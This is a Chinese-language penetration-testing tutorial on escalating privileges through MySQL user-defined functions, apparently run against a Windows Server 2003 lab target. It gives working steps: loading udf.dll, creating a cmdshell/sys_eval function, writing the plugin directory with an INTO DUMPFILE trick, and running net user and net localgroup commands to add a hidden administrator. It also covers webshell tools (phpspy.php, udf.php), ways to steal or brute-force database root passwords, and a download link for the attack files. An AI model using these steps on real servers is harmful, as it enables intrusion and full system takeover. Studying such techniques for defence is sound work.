提权学习:MySQL数据库提权(UDF 提权)

目录

UDF

UDF 提权


UDF

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。

那么,我们该如何使用UDF?

假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下。在UDF中,我定义了名为 sys_eval 的mysql函数,该函数可以执行系统任意命令。如果我现在就打开MySQL命令行,使用 select sys_eval(‘dir‘);的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把 udf.dll 放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。看一下官方文档中的语法:

不要慌,看看实例用法:

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll‘;
   
   
   
   

只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是 shared_library_name(共享包名称),即 ‘udf.dll ’。
至此我们已经引入了sys_eval函数,下面就可以使用了。
这个函数用于执行系统命令,用法如下:

select sys_eval(‘cmd  command‘);
   
   
   
   

当 MySQL< 5.2 版本时,将 .dll 文件导入到 c:\windows 或者c:\windows\system32 目录下。

当 MySQL> 5.2 版本时,将 .dl l文件导入到 C:\Program Files\MySQL\MySQL Server 5.4\lib\plugin 目录下。

UDF 提权

靶机环境:Windows Server 2003 、php 5.4.3 、 Apache2.4.23

这里我们已经通过上传一句话木马拿到网站的shell了,并且得到了网站数据库的用户名和密码都是root。但是因为权限太低,无法创建新用户。而且也不能使用pr提权等手段。所以,我们现在要做的就是使用UDF进行提权。

PS:拓展知识

UDF 提权

1,获取到对方mysql数据库下的root账号和密码,常用的获取方法有:

查看网站源码里面的数据库配置文件(inc,conn,config.sql,common,data等)
查看数据库安装路径下的user.myd(/data/mysql/)
暴力破解mysql密码,破解3306端口入侵。

UDF 提权原理:

通过root权限导出udf.dll到系统目录下,可以通过udf.dll调用执行cmd。
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user iis_user 123!@#abcABC /add’);
select cmdshell(‘net localgroup administrators iis_user /add’);
drop function cmdshell;

UDF 提权常用方法:

直接上传udf大马,对如上命令进行自动执行,从而达到提权的目的。

首先,我们把  phpspy.php 和 udf.php 两个文件上传到网站服务器

然后先访问 phpspy.php 页面,MySQL Manager——>输入数据库的密码——>选择一个数据库

由于MySQL>5.2版本后,在其安装目录的lib目录下没有 plugin 目录,所以,我们得新建这个目录,并且将我们的 udf.dll 文件放入 plugin目录下,我们执行下面命令,完成创建plugin目录,并且将udf.dll放入该目录下

select 'xxxxxx' into dumpfile 'C:\\Program\ Files\\MySQL\\MySQL\ Server\ 5.4\\lib\\plugin::$INDEX_ALLOCATION'
   
   
   
   

然后我们访问 udf.php 页面,并且用数据库的账户名和密码登录。这是登录后的页面

然后我们点击 Dump UDF ,提示Dump DLL Success !

然后我们点击Create Function,下面就会有 select  shell('cmd','whoami') ,然后我们点击 Mysql_query ,下面就会有whoami命令的执行结果

我们可以把命令换成  net  user   hack  123  /add  ,新建一个用户,可以看到成功了!然后我们接下来吧hack用户添加到administrators管理员组内,就可以远程登录了!

本文文件:链接: https://pan.baidu.com/s/14qz2T3jm35Hzqbw-jY2T2w          提取码: y9rq  

你可能感兴趣的:(渗透测试,提权学习,后渗透篇)